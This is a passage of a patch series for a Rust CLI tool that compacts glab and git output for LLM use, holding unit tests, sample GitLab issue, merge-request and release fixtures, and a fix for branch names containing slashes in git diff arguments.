test_issue_list_token_savings() { + let input = include_str!("../../../tests/fixtures/glab_issue_list_raw.json"); + let output = format_issue_list(&parse_fixture(input), false); + let input_tokens = count_tokens(input); + let output_tokens = count_tokens(&output); + let savings = 100.0 - (output_tokens as f64 / input_tokens as f64 * 100.0); + assert!( + savings >= 60.0, + "Issue list: expected >=60% savings, got {:.1}% ({} -> {} tokens)", + savings, + input_tokens, + output_tokens + ); + } + + #[test] + fn test_issue_list_format() { + let input = include_str!("../../../tests/fixtures/glab_issue_list_raw.json"); + let output = format_issue_list(&parse_fixture(input), false); + assert!(output.contains("Issues")); + assert!(output.contains("#156")); + assert!(output.contains("[open]")); // opened + assert!(output.contains("[closed]")); // closed + } + + #[test] + fn test_format_mr_list_non_array_returns_empty() { + // Non-array JSON (e.g. error object) returns empty — run_glab_json then + // falls back to raw stdout through its JSON parse branch. + let output = format_mr_list(&Value::Object(Default::default()), false); + assert!(output.is_empty()); + } + + #[test] + fn test_format_issue_list_non_array_returns_empty() { + let output = format_issue_list(&Value::Object(Default::default()), false); + assert!(output.is_empty()); + } + + #[test] + fn test_extract_identifier_simple() { + let args: Vec = vec!["42".into()]; + let (id, extra) = extract_identifier_and_extra_args(&args).unwrap(); + assert_eq!(id, "42"); + assert!(extra.is_empty()); + } + + #[test] + fn test_extract_identifier_with_repo_flag_before() { + // glab mr view -R group/project 42 + let args: Vec = vec!["-R".into(), "group/project".into(), "42".into()]; + let (id, extra) = extract_identifier_and_extra_args(&args).unwrap(); + assert_eq!(id, "42"); + assert_eq!(extra, vec!["-R", "group/project"]); + } + + #[test] + fn test_extract_identifier_with_repo_flag_after() { + // glab mr view 42 -R group/project + let args: Vec = vec!["42".into(), "-R".into(), "group/project".into()]; + let (id, extra) = extract_identifier_and_extra_args(&args).unwrap(); + assert_eq!(id, "42"); + assert_eq!(extra, vec!["-R", "group/project"]); + } + + #[test] + fn test_extract_identifier_with_group_flag() { + let args: Vec = vec!["-g".into(), "mygroup".into(), "7".into()]; + let (id, extra) = extract_identifier_and_extra_args(&args).unwrap(); + assert_eq!(id, "7"); + assert_eq!(extra, vec!["-g", "mygroup"]); + } + + #[test] + fn test_extract_identifier_empty() { + let args: Vec = vec![]; + assert!(extract_identifier_and_extra_args(&args).is_none()); + } + + #[test] + fn test_extract_identifier_only_flags() { + let args: Vec = vec!["-R".into(), "group/project".into()]; + assert!(extract_identifier_and_extra_args(&args).is_none()); + } + + // ── has_output_flag tests ─────────────────────────────────────────── + + #[test] + fn test_has_output_flag_json() { + assert!(has_output_flag(&["--json".into()])); + } + + #[test] + fn test_has_output_flag_format() { + assert!(has_output_flag(&["-F".into(), "json".into()])); + assert!(has_output_flag(&["--output".into(), "text".into()])); + } + + #[test] + fn test_has_output_flag_none() { + assert!(!has_output_flag(&["mr".into(), "list".into()])); + } + + // ── should_passthrough_view tests ─────────────────────────────────── + + #[test] + fn test_should_passthrough_view_web() { + assert!(should_passthrough_view(&["--web".into()])); + } + + #[test] + fn test_should_passthrough_view_comments() { + assert!(should_passthrough_view(&["--comments".into()])); + } + + #[test] + fn test_should_passthrough_view_output() { + assert!(should_passthrough_view(&["-F".into(), "json".into()])); + } + + #[test] + fn test_should_passthrough_view_default() { + assert!(!should_passthrough_view(&[])); + } + + // ── mr_action identifier extraction ───────────────────────────────── + + #[test] + fn test_extract_identifier_with_message_flag() { + // glab mr note -m "comment" 42 — number should be 42, not "comment" + let args: Vec = vec!["-m".into(), "comment".into(), "42".into()]; + let (id, extra) = extract_identifier_and_extra_args(&args).unwrap(); + assert_eq!(id, "42"); + assert_eq!(extra, vec!["-m", "comment"]); + } + + // ── release list tests ────────────────────────────────────────────── + + #[test] + fn test_format_release_list() { + let input = include_str!("../../../tests/fixtures/glab_release_list_raw.txt"); + let output = format_release_list(input).expect("should parse release list"); + assert!(output.starts_with("Releases\n")); + assert!(output.contains("v3.2.1")); + assert!(output.contains("about 2 days ago")); + } + + #[test] + fn test_format_release_list_token_savings() { + let input = include_str!("../../../tests/fixtures/glab_release_list_raw.txt"); + let output = format_release_list(input).expect("should parse release list"); + let input_tokens = count_tokens(input); + let output_tokens = count_tokens(&output); + let savings = 100.0 - (output_tokens as f64 / input_tokens as f64 * 100.0); + // Release list text is already compact (tab-separated); savings are modest. + assert!( + savings >= 20.0, + "Release list: expected >=20% savings, got {:.1}% ({} -> {} tokens)", + savings, + input_tokens, + output_tokens + ); + } + + #[test] + fn test_format_release_list_empty() { + let input = "No releases available on owner/repo.\nName\tTag\tCreated\n"; + assert!(format_release_list(input).is_none()); + } + + #[test] + fn test_format_release_list_name_differs_from_tag() { + let input = "Showing 1 releases\n\nName\tTag\tCreated\nMy Release\tv1.0.0\t2 days ago\n"; + let output = format_release_list(input).expect("should parse"); + assert!(output.contains("My Release [v1.0.0]")); + } + + // ── ci trace tests ────────────────────────────────────────────────── + + #[test] + fn test_filter_ci_trace_strips_boilerplate() { + let input = include_str!("../../../tests/fixtures/glab_ci_trace_raw.txt"); + let output = filter_ci_trace(input); + // Runner boilerplate stripped + assert!(!output.contains("Running with gitlab-runner")); + assert!(!output.contains("Using Docker executor")); + assert!(!output.contains("Fetching changes with git")); + assert!(!output.contains("Checking out")); + assert!(!output.contains("Uploading artifacts")); + // Build output preserved + assert!(output.contains("npm ci")); + assert!(output.contains("npm run build")); + assert!(output.contains("npm test")); + // Test results preserved + assert!(output.contains("FAIL")); + assert!(output.contains("AssertionError")); + // Final error line preserved + assert!(output.contains("Job failed")); + } + + #[test] + fn test_filter_ci_trace_token_savings() { + let input = include_str!("../../../tests/fixtures/glab_ci_trace_raw.txt"); + let output = filter_ci_trace(input); + let input_tokens = count_tokens(input); + let output_tokens = count_tokens(&output); + let savings = 100.0 - (output_tokens as f64 / input_tokens as f64 * 100.0); + // CI trace preserves build output; savings come from stripping boilerplate. + assert!( + savings >= 30.0, + "CI trace: expected >=30% savings, got {:.1}% ({} -> {} tokens)", + savings, + input_tokens, + output_tokens + ); + } + + // ── release view tests ────────────────────────────────────────────── + + #[test] + fn test_filter_release_view_strips_sources() { + let input = include_str!("../../../tests/fixtures/glab_release_view_raw.txt"); + let output = filter_release_view(input); + // SOURCES section stripped + assert!(!output.contains("SOURCES")); + assert!(!output.contains("toolkit-v2.0.0.zip")); + assert!(!output.contains("toolkit-v2.0.0.tar.gz")); + // Content preserved + assert!(output.contains("Test Release v2.0")); + assert!(output.contains("Added widget support")); + assert!(output.contains("@alice_dev @bob_dev")); + // Noise stripped + assert!(!output.contains("--------")); + assert!(!output.contains("Image:")); + assert!(!output.contains("\n\n### Acceptance Criteria\n- [ ] `rtk glab ci list` shows compact pipeline summary\n- [ ] `rtk glab ci status` shows current pipeline status\n- [ ] Token savings >= 80%\n\n---\n\n[![status](https://img.shields.io/badge/status-in_progress-yellow)](https://example.com)\n" + }, + { + "iid": 150, + "title": "rtk cargo test shows full output when no failures", + "state": "opened", + "author": {"username": "bob_report", "name": "Bob Reporter", "id": 100}, + "web_url": "https://gitlab.example.com/acme/toolkit/-/issues/150", + "created_at": "2026-02-28T08:00:00Z", + "updated_at": "2026-03-02T16:00:00Z", + "labels": ["bug", "cargo"], + "assignees": [{"username": "dave_fix"}], + "description": "When all tests pass, `rtk cargo test` still shows verbose compilation output instead of just the summary line.\n\n### Steps to Reproduce\n1. Run `rtk cargo test` in a project with all passing tests\n2. Observe that compiler output is included\n\n### Expected\nOnly show test summary when all tests pass.\n\n### Actual\nFull compiler warnings and test output shown." + }, + { + "iid": 145, + "title": "Add Helm CLI support", + "state": "opened", + "author": {"username": "carol_infra", "name": "Carol Infra", "id": 200}, + "web_url": "https://gitlab.example.com/acme/toolkit/-/issues/145", + "created_at": "2026-02-25T12:00:00Z", + "updated_at": "2026-03-04T09:00:00Z", + "labels": ["enhancement", "infra"], + "assignees": [], + "description": "Helm CLI outputs are verbose. Would be great to have RTK support for:\n- `helm list` (compact table)\n- `helm status` (summary only)\n- `helm install/upgrade` (ok confirmation)\n\nSimilar to how `rtk kubectl` works." + }, + { + "iid": 140, + "title": "Binary size increased 30% after Python/Go modules", + "state": "opened", + "author": {"username": "eve_perf", "name": "Eve Performance", "id": 300}, + "web_url": "https://gitlab.example.com/acme/toolkit/-/issues/140", + "created_at": "2026-02-20T15:00:00Z", + "updated_at": "2026-02-22T10:00:00Z", + "labels": ["performance", "build"], + "assignees": [{"username": "frank_contrib"}], + "description": "After merging Python and Go support, stripped release binary went from 3.2MB to 4.1MB.\n\nInvestigate if we can:\n- Use feature flags to make modules optional\n- Reduce regex count (share patterns across modules)\n- Review serde usage (maybe avoid full JSON parsing for simple cases)" + }, + { + "iid": 135, + "title": "rtk gain --history shows wrong dates on macOS", + "state": "closed", + "author": {"username": "george_mac", "name": "George Mac", "id": 400}, + "web_url": "https://gitlab.example.com/acme/toolkit/-/issues/135", + "created_at": "2026-02-15T09:00:00Z", + "updated_at": "2026-02-18T11:00:00Z", + "labels": ["bug", "macos"], + "assignees": [{"username": "alice_dev"}], + "description": "On macOS, `rtk gain --history` shows dates in UTC instead of local timezone.\n\nFixed in v0.23.1." + }, + { + "iid": 130, + "title": "Support TOML-based filter DSL", + "state": "opened", + "author": {"username": "heidi_arch", "name": "Heidi Architect", "id": 500}, + "web_url": "https://gitlab.example.com/acme/toolkit/-/issues/130", + "created_at": "2026-02-10T08:00:00Z", + "updated_at": "2026-02-12T16:00:00Z", + "labels": ["enhancement", "architecture"], + "assignees": [], + "description": "Instead of writing Rust code for each new filter, allow users to define filters in TOML.\n\n```toml\n[[filter]]\ncommand = \"terraform plan\"\npattern = \"^(Plan|Apply|Error):\"\nformat = \"compact\"\n```\n\nThis would make RTK extensible without recompilation." + }, + { + "iid": 125, + "title": "Improve error messages for missing commands", + "state": "closed", + "author": {"username": "ivan_docs", "name": "Ivan Writer", "id": 600}, + "web_url": "https://gitlab.example.com/acme/toolkit/-/issues/125", + "created_at": "2026-02-05T14:00:00Z", + "updated_at": "2026-02-06T09:00:00Z", + "labels": ["enhancement", "ux"], + "assignees": [{"username": "ivan_docs"}], + "description": "When the underlying command is not installed (e.g., `rtk glab mr list` without glab), the error message is confusing:\n\n```\nError: Failed to run glab mr list\n```\n\nShould say something like:\n```\nError: glab not found. Install it: https://gitlab.com/gitlab-org/cli\n```" + }, + { + "iid": 120, + "title": "Add rtk completion command for shell completions", + "state": "opened", + "author": {"username": "judy_shell", "name": "Judy Shell", "id": 700}, + "web_url": "https://gitlab.example.com/acme/toolkit/-/issues/120", + "created_at": "2026-02-01T11:00:00Z", + "updated_at": "2026-02-03T15:00:00Z", + "labels": ["enhancement", "shell"], + "assignees": [], + "description": "Clap supports generating shell completions via `clap_complete`. Add a `rtk completion bash/zsh/fish` command.\n\nThis would help discoverability of available commands." + }, + { + "iid": 115, + "title": "rtk read crashes on binary files", + "state": "closed", + "author": {"username": "karl_refactor", "name": "Karl Refactorer", "id": 800}, + "web_url": "https://gitlab.example.com/acme/toolkit/-/issues/115", + "created_at": "2026-01-28T10:00:00Z", + "updated_at": "2026-01-30T12:00:00Z", + "labels": ["bug", "crash"], + "assignees": [{"username": "dave_fix"}], + "description": "Running `rtk read /path/to/binary.exe` panics with:\n```\nthread 'main' panicked at 'called `Result::unwrap()` on an `Err` value: Utf8Error'\n```\n\nShould detect binary files and skip filtering." + }, + { + "iid": 110, + "title": "Track savings per project directory", + "state": "opened", + "author": {"username": "lisa_feat", "name": "Lisa Feature", "id": 900}, + "web_url": "https://gitlab.example.com/acme/toolkit/-/issues/110", + "created_at": "2026-01-25T09:00:00Z", + "updated_at": "2026-01-27T14:00:00Z", + "labels": ["enhancement", "analytics"], + "assignees": [], + "description": "Currently `rtk gain` shows global stats. It would be useful to see savings broken down by project directory.\n\nProposal: store `cwd` in the tracking database and add `rtk gain --by-project` flag." + } +] diff --git a/tests/fixtures/glab_mr_list_raw.json b/tests/fixtures/glab_mr_list_raw.json new file mode 100644 index 0000000000..c502b62a75 --- /dev/null +++ b/tests/fixtures/glab_mr_list_raw.json @@ -0,0 +1,182 @@ +[ + { + "iid": 314, + "title": "feat(glab): add GitLab CLI (glab) command support", + "state": "opened", + "author": {"username": "alice_dev", "name": "Alice Developer", "id": 42}, + "web_url": "https://gitlab.example.com/acme/toolkit/-/merge_requests/314", + "created_at": "2026-03-01T10:00:00Z", + "updated_at": "2026-03-05T14:30:00Z", + "source_branch": "feat/glab-support", + "target_branch": "master", + "merge_status": "can_be_merged", + "draft": false, + "labels": ["enhancement", "cli"], + "assignees": [{"username": "alice_dev", "name": "Alice Developer"}], + "reviewers": [{"username": "bob_review"}, {"username": "carol_review"}], + "description": "## Summary\n\nAdd GitLab CLI support.\n\n\n\n## Changes\n- New module\n- MR/issue/CI filtering\n- Token savings 80-87%\n\n---\n\n[![CI](https://img.shields.io/badge/CI-passing-green)](https://ci.example.com)\n", + "head_pipeline": {"id": 98765, "status": "success", "ref": "feat/glab-support"} + }, + { + "iid": 310, + "title": "fix(git): handle merge commits in compact diff", + "state": "merged", + "author": {"username": "dave_fix", "name": "Dave Fixer", "id": 100}, + "web_url": "https://gitlab.example.com/acme/toolkit/-/merge_requests/310", + "created_at": "2026-02-28T08:00:00Z", + "updated_at": "2026-03-02T16:00:00Z", + "source_branch": "fix/merge-commits", + "target_branch": "master", + "merge_status": "can_be_merged", + "draft": false, + "labels": ["bug", "git"], + "assignees": [{"username": "dave_fix"}], + "reviewers": [{"username": "eve_review"}], + "description": "Fix handling of merge commits in `compact_diff`. Previously, merge commits were being skipped entirely which lost context.\n\n### Test Plan\n- [x] Unit tests added\n- [x] Manual verification with merge-heavy repos\n", + "head_pipeline": {"id": 98700, "status": "success", "ref": "fix/merge-commits"} + }, + { + "iid": 305, + "title": "feat(aws): add AWS CLI module with token-optimized output", + "state": "opened", + "author": {"username": "frank_contrib", "name": "Frank Contributor", "id": 200}, + "web_url": "https://gitlab.example.com/acme/toolkit/-/merge_requests/305", + "created_at": "2026-02-25T12:00:00Z", + "updated_at": "2026-03-04T09:00:00Z", + "source_branch": "feat/aws-cli", + "target_branch": "master", + "merge_status": "cannot_be_merged", + "draft": true, + "labels": ["enhancement", "infra"], + "assignees": [], + "reviewers": [{"username": "grace_review"}, {"username": "heidi_review"}], + "description": "Add AWS CLI support.\n\n![architecture](https://example.com/arch.png)\n\n## Commands\n- `rtk aws s3 ls`\n- `rtk aws ec2 describe-instances`\n- `rtk aws ecs list-services`\n\n## Token Savings\n| Command | Savings |\n|---------|--------|\n| s3 ls | 75% |\n| ec2 describe | 85% |\n| ecs list | 80% |\n", + "head_pipeline": {"id": 98650, "status": "failed", "ref": "feat/aws-cli"} + }, + { + "iid": 302, + "title": "chore(master): release 0.24.0", + "state": "merged", + "author": {"username": "release-bot", "name": "Release Bot", "id": 1}, + "web_url": "https://gitlab.example.com/acme/toolkit/-/merge_requests/302", + "created_at": "2026-02-20T00:00:00Z", + "updated_at": "2026-02-20T01:00:00Z", + "source_branch": "release-please--branches--master", + "target_branch": "master", + "merge_status": "can_be_merged", + "draft": false, + "labels": ["release"], + "assignees": [], + "reviewers": [], + "description": "## [0.24.0](https://example.com/compare/v0.23.0...v0.24.0)\n\n### Features\n* feat(aws): add AWS CLI module\n* feat(psql): add PostgreSQL module\n\n### Bug Fixes\n* fix(playwright): fix JSON parser\n", + "head_pipeline": {"id": 98600, "status": "success", "ref": "release-please--branches--master"} + }, + { + "iid": 298, + "title": "docs: update README with Python and Go command examples", + "state": "merged", + "author": {"username": "ivan_docs", "name": "Ivan Writer", "id": 300}, + "web_url": "https://gitlab.example.com/acme/toolkit/-/merge_requests/298", + "created_at": "2026-02-18T15:00:00Z", + "updated_at": "2026-02-19T10:00:00Z", + "source_branch": "docs/python-go-examples", + "target_branch": "master", + "merge_status": "can_be_merged", + "draft": false, + "labels": ["documentation"], + "assignees": [{"username": "ivan_docs"}], + "reviewers": [{"username": "judy_review"}], + "description": "Update README.md with comprehensive examples for:\n- Python commands (ruff, pytest, pip)\n- Go commands (go test, go build, golangci-lint)\n\nAll examples tested manually.", + "head_pipeline": null + }, + { + "iid": 295, + "title": "refactor: extract parser module from runner.rs", + "state": "closed", + "author": {"username": "karl_refactor", "name": "Karl Refactorer", "id": 400}, + "web_url": "https://gitlab.example.com/acme/toolkit/-/merge_requests/295", + "created_at": "2026-02-15T09:00:00Z", + "updated_at": "2026-02-16T11:00:00Z", + "source_branch": "refactor/parser-module", + "target_branch": "master", + "merge_status": "can_be_merged", + "draft": false, + "labels": ["refactor"], + "assignees": [{"username": "karl_refactor"}], + "reviewers": [], + "description": "Extract parser logic from runner.rs into dedicated parser/ module.\n\n---\n\nThis was superseded by #300 which took a different approach.\n\n***\n", + "head_pipeline": {"id": 98500, "status": "canceled", "ref": "refactor/parser-module"} + }, + { + "iid": 290, + "title": "feat(tee): save raw output on failure for LLM re-read", + "state": "merged", + "author": {"username": "lisa_feat", "name": "Lisa Feature", "id": 500}, + "web_url": "https://gitlab.example.com/acme/toolkit/-/merge_requests/290", + "created_at": "2026-02-10T08:00:00Z", + "updated_at": "2026-02-12T16:00:00Z", + "source_branch": "feat/tee-output", + "target_branch": "master", + "merge_status": "can_be_merged", + "draft": false, + "labels": ["enhancement"], + "assignees": [{"username": "lisa_feat"}], + "reviewers": [{"username": "mike_review"}], + "description": "## Tee Output Recovery\n\nSave raw unfiltered output on command failure.\nPrint one-line hint so LLMs can re-read instead of re-run.\n\n### Configuration\n```toml\n[tee]\nenabled = true\ndir = \"~/.local/share/rtk/tee\"\nmax_files = 20\nmax_size = 1048576\n```\n", + "head_pipeline": {"id": 98400, "status": "success", "ref": "feat/tee-output"} + }, + { + "iid": 285, + "title": "ci: add ARM64 Linux build to release workflow", + "state": "merged", + "author": {"username": "nancy_ci", "name": "Nancy CI", "id": 600}, + "web_url": "https://gitlab.example.com/acme/toolkit/-/merge_requests/285", + "created_at": "2026-02-05T14:00:00Z", + "updated_at": "2026-02-06T09:00:00Z", + "source_branch": "ci/arm64-build", + "target_branch": "master", + "merge_status": "can_be_merged", + "draft": false, + "labels": ["ci"], + "assignees": [{"username": "nancy_ci"}], + "reviewers": [{"username": "oscar_review"}], + "description": "Add ARM64 Linux target to the release workflow.\n\n- Uses `cross` for cross-compilation\n- Generates `.deb` and `.rpm` packages\n- Tested on Raspberry Pi 4 and AWS Graviton", + "head_pipeline": {"id": 98300, "status": "success", "ref": "ci/arm64-build"} + }, + { + "iid": 280, + "title": "fix(vitest): handle watch mode output gracefully", + "state": "opened", + "author": {"username": "peter_bugfix", "name": "Peter Bugfix", "id": 700}, + "web_url": "https://gitlab.example.com/acme/toolkit/-/merge_requests/280", + "created_at": "2026-02-01T11:00:00Z", + "updated_at": "2026-02-03T15:00:00Z", + "source_branch": "fix/vitest-watch", + "target_branch": "master", + "merge_status": "unchecked", + "draft": false, + "labels": ["bug", "vitest"], + "assignees": [{"username": "peter_bugfix"}], + "reviewers": [], + "description": "When vitest runs in watch mode, output is continuous and doesn't have a clear end marker. This fix detects watch mode and falls back to passthrough.\n\n\n", + "head_pipeline": {"id": 98200, "status": "running", "ref": "fix/vitest-watch"} + }, + { + "iid": 275, + "title": "feat(discover): add rtk discover command for missed savings analysis", + "state": "merged", + "author": {"username": "quinn_dev", "name": "Quinn Developer", "id": 800}, + "web_url": "https://gitlab.example.com/acme/toolkit/-/merge_requests/275", + "created_at": "2026-01-28T10:00:00Z", + "updated_at": "2026-01-30T12:00:00Z", + "source_branch": "feat/discover", + "target_branch": "master", + "merge_status": "can_be_merged", + "draft": false, + "labels": ["enhancement", "analytics"], + "assignees": [{"username": "quinn_dev"}], + "reviewers": [{"username": "rachel_review"}, {"username": "sam_review"}], + "description": "Add `rtk discover` command that scans Claude Code JSONL sessions and reports missed savings opportunities.\n\n## Features\n- Classifies commands as Supported/Unsupported/Ignored\n- Groups by category with estimated token savings\n- Reports top missed commands\n\n## Example\n```\n$ rtk discover\nAnalyzed 1,234 commands across 45 sessions\n\nMissed savings by category:\n Git: 234 commands, ~16,800 tokens\n Cargo: 89 commands, ~7,120 tokens\n```\n", + "head_pipeline": {"id": 98100, "status": "success", "ref": "feat/discover"} + } +] diff --git a/tests/fixtures/glab_release_list_raw.txt b/tests/fixtures/glab_release_list_raw.txt new file mode 100644 index 0000000000..a919148b1a --- /dev/null +++ b/tests/fixtures/glab_release_list_raw.txt @@ -0,0 +1,13 @@ +Showing 10 releases on acme/toolkit. + +Name Tag Created +v3.2.1 v3.2.1 about 2 days ago +v3.2.0 v3.2.0 about 1 week ago +v3.1.0 v3.1.0 about 3 weeks ago +v3.0.0 v3.0.0 about 1 month ago +v2.5.0 v2.5.0 about 3 months ago +v2.4.1 v2.4.1 about 5 months ago +v2.4.0 v2.4.0 about 6 months ago +v2.3.0 v2.3.0 about 9 months ago +v2.2.0 v2.2.0 about 1 year ago +v2.1.0 v2.1.0 about 2 years ago diff --git a/tests/fixtures/glab_release_view_raw.txt b/tests/fixtures/glab_release_view_raw.txt new file mode 100644 index 0000000000..88893ee37b --- /dev/null +++ b/tests/fixtures/glab_release_view_raw.txt @@ -0,0 +1,30 @@ +Test Release v2.0 +alice_dev released this 3 days ago +abc1234 - v2.0.0 + + ## What's Changed + + - Added widget support + - Fixed authentication bug + + ### Contributors + + @alice_dev @bob_dev + + -------- + + Image: logo → https://example.com/logo.png + + + + +ASSETS +There are no assets for this release +SOURCES +https://gitlab.example.com/acme/toolkit/-/archive/v2.0.0/toolkit-v2.0.0.zip +https://gitlab.example.com/acme/toolkit/-/archive/v2.0.0/toolkit-v2.0.0.tar.gz +https://gitlab.example.com/acme/toolkit/-/archive/v2.0.0/toolkit-v2.0.0.tar.bz2 +https://gitlab.example.com/acme/toolkit/-/archive/v2.0.0/toolkit-v2.0.0.tar + + +View this release on GitLab at https://gitlab.example.com/acme/toolkit/-/releases/v2.0.0 From 13188a88b22f692157b89874f4c76287a0b3ecae Mon Sep 17 00:00:00 2001 From: binsee <5285894+binsee@users.noreply.github.com> Date: Tue, 21 Apr 2026 23:55:58 +0800 Subject: [PATCH 028/204] fix(git): fix empty output when branch name contains '/' in git diff MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Branch names containing '/' (e.g. feature/user-auth, main...feature/auth) were incorrectly treated as file paths by the string heuristic in normalize_diff_args, causing '--' to be injected before them and making git treat them as pathspecs — resulting in silent empty output (exit 0). Replace looks_like_path() with a three-tier detection strategy: - Explicit path prefixes (. ~) → always a path, no filesystem check needed - Contains path separator (/ \) → use filesystem existence to distinguish branch names (feature/auth, not on disk) from real paths (src/main.rs) - Bare word with no separator → never inject '--', regardless of filesystem state (avoids misfire when a file shares a name with a branch/ref) Introduce normalize_diff_args_impl with injectable path-checker for testability. Update all existing tests to use mock existence checks. Add three regression tests: branch-with-slash, range-with-slash, and bare-word-that-exists-on-disk. Fixes: #1431 Co-Authored-By: Claude Sonnet 4.6 --- src/cmds/git/git.rs | 133 +++++++++++++++++++++++++++++++++----------- 1 file changed, 102 insertions(+), 31 deletions(-) diff --git a/src/cmds/git/git.rs b/src/cmds/git/git.rs index 7ac95c4d36..f32c825b4a 100644 --- a/src/cmds/git/git.rs +++ b/src/cmds/git/git.rs @@ -60,14 +60,6 @@ pub fn run( } } -/// Returns true if `arg` looks like a file-system path rather than a git revision. -/// -/// Used by `normalize_diff_args` to decide where to inject `--`. -fn looks_like_path(arg: &str) -> bool { - // Path separators are the strongest signal - arg.contains('/') || arg.contains('\\') || arg.starts_with('.') || arg.starts_with('~') -} - /// Re-insert `--` before the first path-like argument when clap has consumed it. /// /// clap's `trailing_var_arg = true` silently drops `--` when it appears as the @@ -76,17 +68,46 @@ fn looks_like_path(arg: &str) -> bool { /// `rtk git diff HEAD -- file` → args = ["HEAD", "--", "file"] (preserved) /// /// Without the `--` separator git may treat an unambiguous path as a revision and -/// emit "fatal: ambiguous argument". We re-insert `--` before the first -/// path-like argument when `--` is absent so git always gets the correct intent. +/// emit "fatal: ambiguous argument". We re-insert `--` before the first path-like +/// argument; see `normalize_diff_args_impl` for the detection rules. fn normalize_diff_args(args: &[String]) -> Vec { + normalize_diff_args_impl(args, |p| std::path::Path::new(p).exists()) +} + +/// Testable core of `normalize_diff_args` — accepts an injectable filesystem existence checker. +/// +/// The path-detection logic is: +/// 1. Explicit path prefixes (`.`, `~`) → always a path, no filesystem check needed. +/// 2. Contains path separator (`/`, `\`) → use `path_exists` to distinguish branch names +/// (e.g. `feature/auth`) from real paths (e.g. `src/main.rs`). +/// 3. Bare word with no separator → never a path (avoids injecting `--` when a file +/// happens to share a name with a branch or ref, e.g. a file named `main`). +fn normalize_diff_args_impl(args: &[String], path_exists: F) -> Vec +where + F: Fn(&str) -> bool, +{ // Already has `--` — nothing to do if args.iter().any(|a| a == "--") { return args.to_vec(); } - // Find the first non-flag arg that looks like a path - let path_start = args - .iter() - .position(|arg| !arg.starts_with('-') && looks_like_path(arg)); + let path_start = args.iter().position(|arg| { + if arg.starts_with('-') { + return false; + } + // Explicit path prefixes — always treat as path regardless of existence + if arg.starts_with('.') || arg.starts_with('~') { + return true; + } + // Contains path separator — use filesystem check to distinguish + // branch names (feature/auth) from real paths (src/main.rs) + if arg.contains('/') || arg.contains('\\') { + return path_exists(arg); + } + // Bare word (no separator, no special prefix) — never inject `--` + // This avoids misidentifying a ref/branch as a path even if a same-named + // file happens to exist on disk. + false + }); match path_start { Some(idx) => { let mut out = args[..idx].to_vec(); @@ -1799,7 +1820,14 @@ mod tests { ); } - // ----- normalize_diff_args (issue #1215) ----- + // ----- normalize_diff_args (issue #1215 + branch-name fix #1431) ----- + // + // Tests use normalize_diff_args_impl with a mock path-existence checker so + // they don't depend on the real filesystem. + + fn exists_mock<'a>(existing: &'a [&'a str]) -> impl Fn(&str) -> bool + 'a { + move |p| existing.contains(&p) + } /// Baseline: `--` already present → no-op, args unchanged. #[test] @@ -1809,38 +1837,44 @@ mod tests { "--".to_string(), "src/main.rs".to_string(), ]; - assert_eq!(normalize_diff_args(&args), args); + assert_eq!(normalize_diff_args_impl(&args, exists_mock(&[])), args); } - /// Core regression: clap ate `--` before a path with `/`. - /// `normalize_diff_args` must re-insert it. + /// Core regression (issue #1215): clap ate `--` before a real file path. + /// When the path exists on disk, `--` must be re-inserted. #[test] - fn test_normalize_diff_args_reinserts_separator_before_path_with_slash() { + fn test_normalize_diff_args_reinserts_separator_before_existing_path() { let args = vec!["apps/client/frontend/src/MyComponent.tsx".to_string()]; - let normalized = normalize_diff_args(&args); + let normalized = normalize_diff_args_impl( + &args, + exists_mock(&["apps/client/frontend/src/MyComponent.tsx"]), + ); assert_eq!( normalized, - vec!["--".to_string(), "apps/client/frontend/src/MyComponent.tsx".to_string()], - "-- must be injected before the path argument" + vec![ + "--".to_string(), + "apps/client/frontend/src/MyComponent.tsx".to_string() + ], + "-- must be injected before an existing path" ); } - /// Ref before path: args like ["HEAD", "src/foo.rs"] get `--` inserted before the path. + /// Ref before path: ["HEAD", "src/foo.rs"] where src/foo.rs exists → inject after HEAD. #[test] fn test_normalize_diff_args_reinserts_separator_after_ref() { let args = vec!["HEAD".to_string(), "src/foo.rs".to_string()]; - let normalized = normalize_diff_args(&args); + let normalized = normalize_diff_args_impl(&args, exists_mock(&["src/foo.rs"])); assert_eq!( normalized, vec!["HEAD".to_string(), "--".to_string(), "src/foo.rs".to_string()] ); } - /// Flags before path: `["--cached", "src/foo.rs"]` → `["--cached", "--", "src/foo.rs"]`. + /// Flags before path: ["--cached", "src/foo.rs"] where src/foo.rs exists. #[test] fn test_normalize_diff_args_reinserts_separator_after_flag() { let args = vec!["--cached".to_string(), "src/foo.rs".to_string()]; - let normalized = normalize_diff_args(&args); + let normalized = normalize_diff_args_impl(&args, exists_mock(&["src/foo.rs"])); assert_eq!( normalized, vec!["--cached".to_string(), "--".to_string(), "src/foo.rs".to_string()] @@ -1851,25 +1885,62 @@ mod tests { #[test] fn test_normalize_diff_args_no_injection_for_pure_flags() { let args = vec!["--stat".to_string(), "--cached".to_string()]; - assert_eq!(normalize_diff_args(&args), args); + assert_eq!(normalize_diff_args_impl(&args, exists_mock(&[])), args); } - /// Dotfile / relative-path detection (starts with `.`). + /// Dotfile that exists on disk → inject `--`. #[test] fn test_normalize_diff_args_dotfile_is_path() { let args = vec![".gitignore".to_string()]; - let normalized = normalize_diff_args(&args); + let normalized = normalize_diff_args_impl(&args, exists_mock(&[".gitignore"])); assert_eq!( normalized, vec!["--".to_string(), ".gitignore".to_string()] ); } - /// A bare word that isn't path-like (e.g. a branch name) → no injection. + /// A bare ref (HEAD) that doesn't exist as a file → no injection. #[test] fn test_normalize_diff_args_no_injection_for_bare_ref() { let args = vec!["HEAD".to_string()]; - assert_eq!(normalize_diff_args(&args), args); + assert_eq!(normalize_diff_args_impl(&args, exists_mock(&[])), args); + } + + /// Branch name with `/` that does NOT exist as a file → no injection. + /// Regression for issue #1431: `rtk git diff feature/user-auth` must not inject `--`. + #[test] + fn test_normalize_diff_args_no_injection_for_branch_with_slash() { + let args = vec!["feature/user-auth".to_string()]; + assert_eq!( + normalize_diff_args_impl(&args, exists_mock(&[])), + args, + "branch names containing '/' must not trigger -- injection" + ); + } + + /// Range syntax with `/` → no injection. + /// Regression: `rtk git diff main...feature/user-auth` produced no output. + #[test] + fn test_normalize_diff_args_no_injection_for_range_with_slash() { + let args = vec!["main...feature/user-auth".to_string()]; + assert_eq!( + normalize_diff_args_impl(&args, exists_mock(&[])), + args, + "revision ranges like main...feature/user-auth must not trigger -- injection" + ); + } + + /// Bare word that happens to exist as a file on disk → still no injection. + /// A file named "main" must not cause `--` to be injected when the user + /// intends `rtk git diff main` as a branch comparison. + #[test] + fn test_normalize_diff_args_no_injection_for_bare_word_even_if_file_exists() { + 